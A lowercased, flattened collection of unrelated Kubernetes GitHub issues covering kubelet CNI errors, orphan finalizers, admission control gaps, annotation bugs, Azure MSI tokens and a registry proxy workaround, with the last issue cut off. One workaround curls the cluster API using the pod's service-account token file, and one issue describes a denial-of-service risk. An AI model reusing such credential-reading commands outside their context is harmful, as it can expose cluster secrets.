12:32:19 testing kubelet 24591 : e1127 12:32:19.102137   24591 remote_runtime.go:96  runpodsandbox from runtime service failed: rpc error: code = unknown desc =\r nov 27 12:32:07 testing kubelet 24591 : 2018-11-27 12:32:07.843  info  13943  k8s.go 794: pod info &pod{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:\r \r \r \r \r worker logs:\r nov 28 06:17:40 testingnew kubelet 21666 : e1128 06:17:40.112560   21666 remote_runtime.go:96  runpodsandbox from runtime service failed: rpc error: code = unknown desc\r nov 28 06:17:36 testingnew kubelet 21666 : e1128 06:17:36.463498   21666 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpluginno\r nov 28 06:17:36 testingnew kubelet 21666 : w1128 06:17:36.462567   21666 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r nov 28 06:17:35 testingnew kubelet 21666 : e1128 06:17:35.109166   21666 pod_workers.go:186  error syncing pod 33057587-f215-11e8-bac5-026e4269e78c  \ kube-flannel-ds-am\r nov 28 06:17:35 testingnew kubelet 21666 : e1128 06:17:35.109079   21666 kuberuntime_manager.go:657  createpodsandbox for pod \ kube-flannel-ds-amd64-d59kx_kube-system 3\r nov 28 06:17:35 testingnew kubelet 21666 : e1128 06:17:35.109057   21666 kuberuntime_sandbox.go:65  createpodsandbox for pod \ kube-flannel-ds-amd64-d59kx_kube-system 33\r nov 28 06:17:35 testingnew kubelet 21666 : e1128 06:17:35.108986   21666 remote_runtime.go:96  runpodsandbox from runtime service failed: rpc error: code = unknown desc\r nov 28 06:17:31 testingnew kubelet 21666 : e1128 06:17:31.460570   21666 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpluginno\r nov 28 06:17:31 testingnew kubelet 21666 : w1128 06:17:31.459770   21666 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r nov 28 06:17:28 testingnew kubelet 21666 : e1128 06:17:28.108928   21666 pod_workers.go:186  error syncing pod 33051f2a-f215-11e8-bac5-026e4269e78c  \ kube-proxy-dxqvj_k\r nov 28 06:17:28 testingnew kubelet 21666 : e1128 06:17:28.108872   21666 kuberuntime_manager.go:657  createpodsandbox for pod \ kube-proxy-dxqvj_kube-system 33051f2a-f21\r nov 28 06:17:28 testingnew kubelet 21666 : e1128 06:17:28.108850   21666 kuberuntime_sandbox.go:65  createpodsandbox for pod \ kube-proxy-dxqvj_kube-system 33051f2a-f215\r nov 28 06:17:28 testingnew kubelet 21666 : e1128 06:17:28.108797   21666 remote_runtime.go:96  runpodsandbox from runtime service failed: rpc error: code = unknown desc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i have a crd which is backed by a controller which creates and deletes other crds. the dependent crds have a controller owner reference set. if i delete the controller object with --cascade=true, everything works as expected and the resources are cleaned up. if i use --cascade=false, i see that an \ orpan\  finalizer is added. no owner references on one of the dependents is removed and the main object gets never deleted.\r \r   what you expected to happen  :\r \r i would have expected that the garbage collector removes the owner reference and then removes the \ orphan\  finalizer afterwards from the object, before finally deleting it.\r \r is that expected and the controller has to  remove the references and the \ orphan\  finalizer itself, or should the garbage collector do that? do i have to set blockorphandeletion to false?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i delete it like this:\r    \r cluster/kubectl.sh delete mycrdcontroller mycrdinstance --cascade=false\r    \r \r the metadata of the controller object then looks like this:\r \r    \r apiversion: kubevirt.io/v1alpha1\r kind: virtualmachinereplicaset\r metadata:\r   creationtimestamp: 2017-11-24t12:44:54z\r   deletiongraceperiodseconds: 0\r   deletiontimestamp: 2017-11-24t12:45:02z\r   finalizers:\r   - orphan\r   name: testreplicaset2\r   namespace: default\r   resourceversion: \ 24789\ \r   selflink: /apis/kubevirt.io/v1alpha1/namespaces/default/virtualmachinereplicasets/testreplicaset2\r   uid: 4555ee8e-d115-11e7-9842-525400c2f26a\r \r    \r \r owner references are still there on the dependants:\r \r    \r apiversion: kubevirt.io/v1alpha1\r   kind: virtualmachine\r   metadata:\r     creationtimestamp: 2017-11-24t12:57:04z\r     generatename: test1\r     labels:\r       kubevirt.io/nodename: node0\r       myvm: myvm2\r     name: test1vxl5h\r     namespace: default\r     ownerreferences:\r     - apiversion: v1alpha1\r       blockownerdeletion: true\r       controller: true\r       kind: virtualmachinereplicaset\r       name: testreplicaset2\r       uid: 4555ee8e-d115-11e7-9842-525400c2f26a\r    \r \r and nothing happens.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r \r   \r \r \r   what happened  :\r \r currently only  hostipc    hostpid  are checked in  denyescalatingexec  admission controller\r \r   what you expected to happen  :\r \r hostnetwork should also be checked to deny exec /attach\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r can we provide a way to enable etcd clientv3 prometheus metrics at the apiserver side ?\r the etcd.clientv3 interface is instantiated  here  https://github.com/ahakanbaba/kubernetes/blob/4f1489edf0675718bb4a5ac754677e2450215d17/staging/src/k8s.io/apiserver/pkg/storage/storagebackend/factory/etcd3.go l44  and it does not enable metrics. \r \r in example_metrics_test.go file in coreos/etcd, one can see the  options  https://github.com/coreos/etcd/blob/438e6750ee4dd3861c83514e405adf2f3e437e4c/clientv3/example_metrics_test.go l36  to pass to enable metrics. \r \r it would be great if the apiserver has a command line parameter, config/environment variable to enable etcd.clientv3 metrics. \r \r

failing jobs\r  sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master \r   failing tests\r   sig-apps  statefulset-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master/1440 \r   triage results\r   sig-apps  statefulset-upgrade  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master&test=%5c%5bsig%5c-apps%5c%5d%5c%20statefulset%5c-upgrade \r \r  /  \r /cc @tpepper @aishsundar @kubernetes/sig-apps-test-failures \r

@k8s-merge-robot does not have a cool avatar like @k8s-ci-robot does.\r \r   \r   what happened  :\r i didn't see a cool avatar.\r \r   what you expected to happen  :\r a cool avatar.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. view a merged pr\r 2. feel disappointment\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r    feature request ?  :\r \r   \r \r   what happened  :\r i know much has been discussed about rolling restarts of pod in issue https://github.com/kubernetes/kubernetes/issues/13488\r \r and most people are suggesting  rolling update with combination of patch\r \r but in an environment where we still want apps in pods  to service the request and undergo restarts i.e one by one. \r \r when we do the patch call on statefulset. it terminates and recreates the pod in reverse order of cardinal numbers one by one. \r   whats happening now     first pod pod-1  gets terminated and gets recreated , then other pod  pod-0  will get terminated  when previous pod  pod-1  is in ready state and gets recreated again.\r \r so when these termination and recreation life cycle happens and there are few replicas of pods may be2  and when actual application getting up time in pods is high few minutes not seconds . then there will be application downtime in between pod-1 and pod-0 death and birth life cycle.\r \r   what you expected to happen  :\r   expected   next pod pod-0  should get terminated when the actual application gets up in the previous pod pod-1 , not just the pod pod-1  getting up and be in ready state. this will ensure that some or the other pod services the request and no down time. \r \r can we achieve this with webhooks or service health probes with existing mechanisms ?  so that next pod pod-0  should get terminated, when actual app gets up in the previous pod pod-1 , not just the pod getting in ready state.  \r \r   how to reproduce it  as minimally and precisely as possible   :

what happened  :\r we applied an ingress with annotations that had integers as values but no annotations were applied in kubernetes and no failure was thrown.\r \r   what you expected to happen  :\r we would expect an error to be thrown similar to this one:\r  error: services \ your-service\  could not be patched: cannot convert int64 to string \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a file  anno-test-service.yaml  with the following:\r    yml\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     test.key: \ 1\ \r      test.key: 2\r   name: anno-test-service\r   namespace: default\r spec:\r spec:\r   ports:\r   - name: http\r     port: 80\r     targetport: http\r    \r apply,  kubectl apply -f ./anno-test-service.yaml \r verify,  kubectl get service anno-test-service -o yaml | grep \ test.key\  \r \r uncomment  test.key: 2 \r apply,  kubectl apply -f ./anno-test-service.yaml \r verify,  kubectl get service anno-test-service -o yaml | grep \ test.key\  \r \r you will see that it fails to apply any annotations this time but continued to apply the service without errors.  to get an error edit manually with  kubectl edit service anno-test-service  and add  test.key: 2 .\r \r \r \r   anything else we need to know?  :\r this bug can be replicated on anything that uses annotations as long as it is applied using a file:  kubectl apply -f \r \r we have confirmed this exists on  1.10.x  ->  1.12.x  versions of kubectl\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.7-gke.9\ , gitcommit:\ 474de708598cdefe41816d37ba8e2de66a2d4d55\ , gittreestate:\ clean\ , builddate:\ 2018-11-02t23:44:11z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r   google gke  \r - os  e.g. from /etc/os-release :\r   ubuntu  \r - kubectl version:\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r - stackdriver logs:\r   manual edit failure  :\r    \r {\r  insertid:  \ ezs8fceiw238\   \r  labels: {\r   cluster_version:  \ 1.10.7-gke.9\    \r  }\r  logname:  \ projects/cloud-dev/logs/cloudaudit.googleapis.com%2factivity\   \r  protopayload: {\r   @type:  \ type.googleapis.com/google.cloud.audit.auditlog\     \r   methodname:  \ io.k8s.extensions.v1beta1.ingresses.patch\    \r   request: {\r    @type:  \ k8s.io/patch\     \r    metadata: {\r     annotations: {\r      ingress.kubernetes.io/proxy-connect-timeout:  60      \r     }\r    }\r   }\r   resourcename:  \ extensions/v1beta1/namespaces/kube-system/ingresses/kube-dashboard\    \r   response: {\r    @type:  \ core.k8s.io/v1.status\     \r    apiversion:  \ v1\     \r    code:  500    \r    kind:  \ status\     \r    message:  \ cannot convert int64 to string\     \r    status:  \ failure\     \r   }\r   servicename:  \ k8s.io\     \r  }\r  receivetimestamp:  \ 2018-11-12t20:28:53.543783353z\   \r  severity:  \ error\   \r  timestamp:  \ 2018-11-12t20:28:47.983545z\   \r }\r    \r \r   kubectl file apply success  but failed to apply annotations, they are null   :\r    \r {\r  insertid:  \ 18ot33oei0sx8\   \r labels: {\r   cluster_version:  \ 1.10.7-gke.9\    \r  }\r  logname:  \ projects/cloud-dev/logs/cloudaudit.googleapis.com%2factivity\   \r  protopayload: {\r   @type:  \ type.googleapis.com/google.cloud.audit.auditlog\    \r   methodname:  \ io.k8s.extensions.v1beta1.ingresses.patch\    \r   request: {\r    @type:  \ k8s.io/patch\     \r    metadata: {\r     annotations: {\r      ingress.kubernetes.io/auth-signin:  null      \r      ingress.kubernetes.io/auth-url:  null      \r      ingress.kubernetes.io/ssl-redirect:  null      \r      ingress.kubernetes.io/whitelist-source-range:  null      \r      kubectl.kubernetes.io/last-applied-configuration:  \ {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ ingress\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ kube-dashboard\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ rules\ : {\ host\ :\ kube.dev.cloud\ ,\ http\ :{\ paths\ : {\ backend\ :{\ servicename\ :\ kube-dashboard\ ,\ serviceport\ :80},\ path\ :\ /\ } }} ,\ tls\ : {\ hosts\ : \ kube.dev.cloud\  ,\ secretname\ :\ tls-env-cloud\ } }}\r \       \r      kubernetes.io/ingress.class:  null      \r      kubernetes.io/tls-acme:  null      \r     }\r    }\r   }\r   resourcename:  \ extensions/v1beta1/namespaces/kube-system/ingresses/kube-dashboard\    \r   servicename:  \ k8s.io\    \r  }\r  receivetimestamp:  \ 2018-11-12t20:35:50.350227061z\   \r  severity:  \ notice\   \r  timestamp:  \ 2018-11-12t20:35:43.100513z\   \r }\r    \r \r <!-- do not edit below this line -->\r 

here's the cluster version:      client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.3\ , gitcommit:\ 61c6ac5f350253a4dc002aee97b7db7ff01ee4ca\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.3\ , gitcommit:\ 61c6ac5f350253a4dc002aee97b7db7ff01ee4ca\ , gittreestate:\ clean\ }      i can make sure the only thing i want to replace in this pod is update image from v2 to v3:      apiversion: v1 kind: pod metadata:   name: javaweb-2 spec:   containers:   - image: resouer/sample:v2     name: war     lifecycle:       poststart:         exec:           command:             - \ cp\              - \ /sample.war\              - \ /app\      volumemounts:     - mountpath: /app       name: app-volume   - image: resouer/mytomcat:7.0     name: tomcat     command:  \ sh\ ,\ -c\ ,\ /root/apache-tomcat-7.0.42-v2/bin/start.sh\       volumemounts:     - mountpath: /root/apache-tomcat-7.0.42-v2/webapps       name: app-volume     ports:     - containerport: 8080       hostport: 8001    volumes:   - name: app-volume      and error:      harryz@izu1yi87rxez:~$ ./kubectl replace -f vpod2.yaml  replace failed: may not update fields other than container.image      for anyone wants re-pro, all the images above are small and public for u to test.

port forward and websocket testing independently exposed that occasionally some pods return empty logs after they become \ running\ , but inconsistently.  it's unlikely to be related to https://github.com/kubernetes/kubernetes/issues/11046 as it is very consistent in e2e tests on pods that are newly \ running\ .

a malicious user can create a termination path that exceeds the api size allowed for a pod update, causing the kubelet to fail to be able to update the pod status via the api  or by creating very large pod objects in etcd, affecting the performance of the cluster .  the length of the contents of the termination file need to be bounded before it is added to the status response from the server.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : memory  ---    is this a bug report or feature request?    choose one : bug report    kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6+ae4550c\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ not a git tree\ , builddate:\ 2016-08-30t15:45:51z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:06:06z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release :    name=coreos   id=coreos   version=1122.1.0   version_id=1122.1.0   build_id=2016-08-11-0252   pretty_name=\ coreos 1122.1.0  moreos \    ansi_color=\ 1;32\    home_url=\ https://coreos.com/\    bug_report_url=\ https://github.com/coreos/bugs/issues\  -   kernel    e.g.  uname -a  :   linux xxxx 4.7.0-coreos  1 smp thu aug 11 02:44:21 utc 2016 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux -   install tools  : -   others  :    what happened  : cadvisor reporting 0 memory usage for all containers    what you expected to happen  : cadvisor to report actual memory usage statistics    how to reproduce it    as minimally and precisely as possible : curl http://localhost:4194/api/v1.1/containers   observe that all memory blocks in the json look like this:  \ memory\ : {         \ usage\ : 0,         \ cache\ : 0,         \ rss\ : 0,         \ working_set\ : 0,         \ failcnt\ : 0,         \ container_data\ : {           \ pgfault\ : 0,           \ pgmajfault\ : 0         },         \ hierarchical_data\ : {           \ pgfault\ : 0,           \ pgmajfault\ : 0         }       },     anything else do we need to know  : this seems to be a new behavior in 1.3.6

full link: https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/addon-manager/readme.md\r \r this readme should also explain how to run it after building, shouldn't it? or at least link to a place that describes it. thanks, guys!\r \r btw, this is the second time i post a documentation related issue. if someone would give me some hints how to, i'd also like to help  but of course still would need to know how to solve the problem first

we're gathering a number of prometheus metrics during our performance test runs from the master machine. we should make it work for kubemark masters as well.\r \r @kubernetes/sig-scalability-misc

 \r   what happened  :\r i started developing on kubernetes by trying to install all of the necessary development dependencies. my first step was looking in the  makefile  for a command which would do this.\r upon not finding anything, i searched the  hack  directory for files containing  godep  and found  hack/godep-restore.sh . in hindsight, looking at this  documentation  https://github.com/kubernetes/community/blob/master/contributors/devel/godep.md  would've helped me find the task quicker.\r \r still, because installing development dependencies is one of the first things every new contributor has to do, i think it could be useful to for it to be in the highly discoverable makefile - as opposed to being only with many other scripts in  hack .\r \r   what you expected to happen  :\r i would have expected  or it would have been helpful  to have the  makefile  contain a command i'll need to run before beginning development.\r \r   how to reproduce it  as minimally and precisely as possible   :\r view the  makefile  https://github.com/kubernetes/kubernetes/blob/8884f984e450dee2a62d9dfb302a5660cf053d06/build/root/makefile  which was on master at the time i filed this issue.\r \r   anything else we need to know?  :\r i'd be happy to put together a pull request for this :  alternatively, if there isn't interest  or if this has been discussed in the past, and decided against , feel free to close. thanks!\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r following mountoptions support for azure disk should be supported.\r \r    \r ---\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: azuredisk\r provisioner: kubernetes.io/azure-disk\r mountoptions:\r   - dir_mode=0377\r   - file_mode=0350\r parameters:\r   skuname: standard_lrs\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

 \r   what happened  :\r i want to use  azure msi  https://docs.microsoft.com/en-us/azure/active-directory/msi-overview  for k8s cloud provider. but kubelet produces errors like this:\r    \r nov 21 17:43:41 worker-3 sh 10372 : i1121 17:43:41.907901   10395 kubelet.go:1779  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: azure.bearerauthorizer withauthorization: failed to refresh the token for request to https://management.azure.com/subscriptions/xxx/resourcegroups/gollum/providers/microsoft.compute/virtualmachines/worker-3?api-version=2016-04-30-preview: statuscode=0 -- original error: adal: refresh request failed. status code = '400' \r    \r jfyi: everything works fine w/o msi, with precreated service principal.\r \r   what you expected to happen  :\r i expect kubelet will be able to authenticate in azure api and get necessary info.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create k8s cluster on azure availability set vms  probably acs-engine can be used, we are using own  terraform  https://github.com/giantswarm/azure-terraform  \r - enable azure msi in vm like described  here  https://docs.microsoft.com/en-us/azure/active-directory/msi-tutorial-linux-vm-access-arm \r - assign \ contributor\  role for vm\r - restart kubelet\r \r   anything else we need to know?  :\r cloud-provider config\r    \r cloud: azurepubliccloud\r  tenantid: xxx\r subscriptionid: xxx\r  aadclientid: xxx\r  aadclientsecret: xxx\r resourcegroup: gollum\r location: westeurope\r subnetname: gollum_worker_subnet\r securitygroupname: gollum-worker\r vnetname: gollum\r routetablename: gollum_worker_rt\r usemanagedidentityextension: true\r    \r \r i can get token with\r    \r curl http://localhost:50342/oauth2/token --data \ resource=https://management.azure.com/\  -h metadata:true   \r {\ access_token\ :\ xxx\ ,\ refresh_token\ :\ \ ,\ expires_in\ :\ 3599\ ,\ expires_on\ :\ 1511290443\ ,\ not_before\ :\ 1511286543\ ,\ resource\ :\ https://management.azure.com/\ ,\ token_type\ :\ bearer\ }\r    \r but i'm getting error 400, when i'm trying to use full resource url\r    \r curl -v http://localhost:50342/oauth2/token --data \ resource=https://management.azure.com/subscriptions/xxx/resourcegroups/gollum/providers/microsoft.compute/virtualmachines/worker-3?api-version=2016-04-30-preview\  -h metadata:true \r     trying 127.0.0.1...\r   tcp_nodelay set\r   connected to localhost  127.0.0.1  port 50342   0 \r > post /oauth2/token http/1.1\r > host: localhost:50342\r > user-agent: curl/7.54.0\r > accept:  / \r > metadata:true\r > content-length: 194\r > content-type: application/x-www-form-urlencoded\r > \r   upload completely sent off: 194 out of 194 bytes\r < http/1.1 400 bad request\r < content-type: text/plain; charset=utf-8\r < x-content-type-options: nosniff\r < date: tue, 21 nov 2017 18:12:10 gmt\r < content-length: 855\r < \r {\ error\ :\ invalid_resource\ ,\ error_description\ :\ aadsts50001: the application named https://management.azure.com/subscriptions/xxx/resourcegroups/gollum/providers/microsoft.compute/virtualmachines/worker-3?api-version=2016-04-30-preview was not found in the tenant named 31f75bf9-3d8c-4691-95c0-83dd71613db8.  this can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant.  you might have sent your authentication request to the wrong tenant.\\r\ trace id: 2c5d4de5-927e-45b4-8050-cd3a95941000\\r\ correlation id: cdcda3e8-aa0f-42f5-85e9-4979311d5880\\r\ timestamp: 2017-11-21 18:12:10z\ ,\ error_codes\ : 50001 ,\ timestamp\ :\ 2017-11-21 18:12:10z\ ,\ trace_id\ :\ 2c5d4de5-927e-45b4-8050-cd3a95941000\ ,\ correlation_id\ :\ cdcda3e8-aa0f-42f5-85e9-4979311d5880\ }\r   connection  0 to host localhost left intact\r    \r \r   environment  :\r - kubernetes version 1.7.5 or 1.8.1 \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos 1520.8.0\r - kernel  e.g.  uname -a  :  linux worker-3 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux \r - install tools: own terraform manifests   source  https://github.com/giantswarm/azure-terraform  \r - others:\r

is this a bug report or feature request?  :\r feature request\r \r   \r   what happened  :\r azure offers two different kinds of external load balancers, basic and standard. differences are documented at:  https://docs.microsoft.com/en-us/azure/load-balancer/load-balancer-standard-overview  https://docs.microsoft.com/en-us/azure/load-balancer/load-balancer-standard-overview \r \r   what you expected to happen  :\r kubernetes services offer a way to choose between basic and standard load balancers when provisioning a service of type loadbalancer\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-aws/7310/  failed:  k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:324 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.163.220.90 --kubeconfig=/workspace/.kube/config get pods update-demo-nautilus-17dyx -o template --template={{if  exists . \\\ status\\\  \\\ containerstatuses\\\  }}{{range .status.containerstatuses}}{{if eq .name \\\ update-demo\\\ }}{{.image}}{{end}}{{end}}{{end}} --namespace=e2e-tests-kubectl-1uj1y      <nil>  unable to connect to the server: dial tcp 35.163.220.90:443: i/o timeout\     <nil> 0xc42015e2d0 exit status 1 <nil> <nil> true  0xc42037c360 0xc42037c378 0xc42037c390   0xc42037c360 0xc42037c378 0xc42037c390   0xc42037c370 0xc42037c388   0x953920 0x953920  0xc4210cea20 <nil>}:\ command stdout:\ \ stderr:\ unable to connect to the server: dial tcp 35.163.220.90:443: i/o timeout\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.163.220.90 --kubeconfig=/workspace/.kube/config get pods update-demo-nautilus-17dyx -o template --template={{if  exists . \ status\  \ containerstatuses\  }}{{range .status.containerstatuses}}{{if eq .name \ update-demo\ }}{{.image}}{{end}}{{end}}{{end}} --namespace=e2e-tests-kubectl-1uj1y      <nil>  unable to connect to the server: dial tcp 35.163.220.90:443: i/o timeout         <nil> 0xc42015e2d0 exit status 1 <nil> <nil> true  0xc42037c360 0xc42037c378 0xc42037c390   0xc42037c360 0xc42037c378 0xc42037c390   0xc42037c370 0xc42037c388   0x953920 0x953920  0xc4210cea20 <nil>}:     command stdout:          stderr:     unable to connect to the server: dial tcp 35.163.220.90:443: i/o timeout          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2052       previous issues for this test:  28437  29084  29256  29397

we noticed many goroutines stalled at https://github.com/kubernetes/kubernetes/blob/v1.4.6/pkg/storage/cacher.go l701 in a large cluster  ~200 nodes, ~1100 pods . it's because if the watchserver timeout  fires  https://github.com/kubernetes/kubernetes/blob/master/pkg/apiserver/watch.go l187-l188  when the  result  channel is full,  sendwatchcacheevent  will be blocked on the write to the  result  even though  cachewatch.stop    is  called  https://github.com/kubernetes/kubernetes/blob/master/pkg/apiserver/watch.go l171 , because watchserver stops consuming the  result  channel after the timeout.

kubernetes version    use  kubectl version  :  1.6.1\r -   cloud provider or hardware configuration  :  metal/openstack\r -   os    e.g. from /etc/os-release :  centos:7\r -   kernel    e.g.  uname -a  :  4.10.9\r -   install tools  :  kargo, weave\r \r \r   what happened  :\r followed directions to setup in-cluster registry with proxy:\r https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/registry\r local daemonset proxy fails to open up port 5000 on hosts when using cni networking  in this case, weave . \r \r this is a known issue that is being worked on, due to cni networking not support  hostport . https://github.com/kubernetes/kubernetes/issues/31307\r \r   how to fix it  :\r the issue is that the registry proxy is run as a pod on the cluster/cni network using a  hostport  setting, expecting to be able to open that port for listening on the host. unfortunately  hostport s are broken  silently  when using any cni networking plugin.   the one exception i think is kubenet which has integrated a fix into the plugin itself .\r \r i have a workaround which is kinda messy:\r \r i have created a new registry proxy which uses  hostnetwork: true   avoids weave/cni altogether , and the port can be exposed properly on the host. but then dns resolution to the registry doesn't work, but its ip  is  routable. i added a unique label to my registry pod, then used the service account credentials to find its ip address and copy that into the nginx proxy config. i am having strange problems when i try to push or pull large images, but for the most part it works.   perhaps the nginx proxy needs to be tweaked \r \r unfortunately, i have this proxy code in a private repo, but i can copy the core components here:\r \r proxy is deployed as a daemonset.  in the entrypoint script, i use svc account credentials in the pod to search the  default  namespace for a pod with label  theclusterregistry=1 .  registry pod is given this label.  here's how i get the pod  replace $api_server with the host:port, which might have to be hardcoded \r \r    \r curl \\\r    --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \\\r    -h \ authorization: bearer $ cat /var/run/secrets/kubernetes.io/serviceaccount/token \  \\\r    https://$api_server/api/v1/namespaces/default/pods?labelselector=theclusterregistry=1 | jq '.items 0 .status.podip\r    \r \r this is run in a loop until a non-null ip is returned.  i strip its double-quotes  a jq artifact  and then template fill the %host% in the nginx config   /etc/nginx/conf.d/default.conf.in  :\r \r    \r   docker registry proxy for api version 2\r upstream docker-registry {\r     server %host%:5000;\r }\r \r server {\r     listen 127.0.0.1:5000;\r     server_name localhost;\r \r       disable any limits to avoid http 413 for large image uploads\r     client_max_body_size 0;\r \r       required to avoid http 411: see issue  1486  https://github.com/docker/docker/issues/1486 \r     chunked_transfer_encoding on;\r \r     location / {\r         proxy_pass                          http://docker-registry;\r         proxy_set_header  host              $http_host;     required for docker client's sake\r         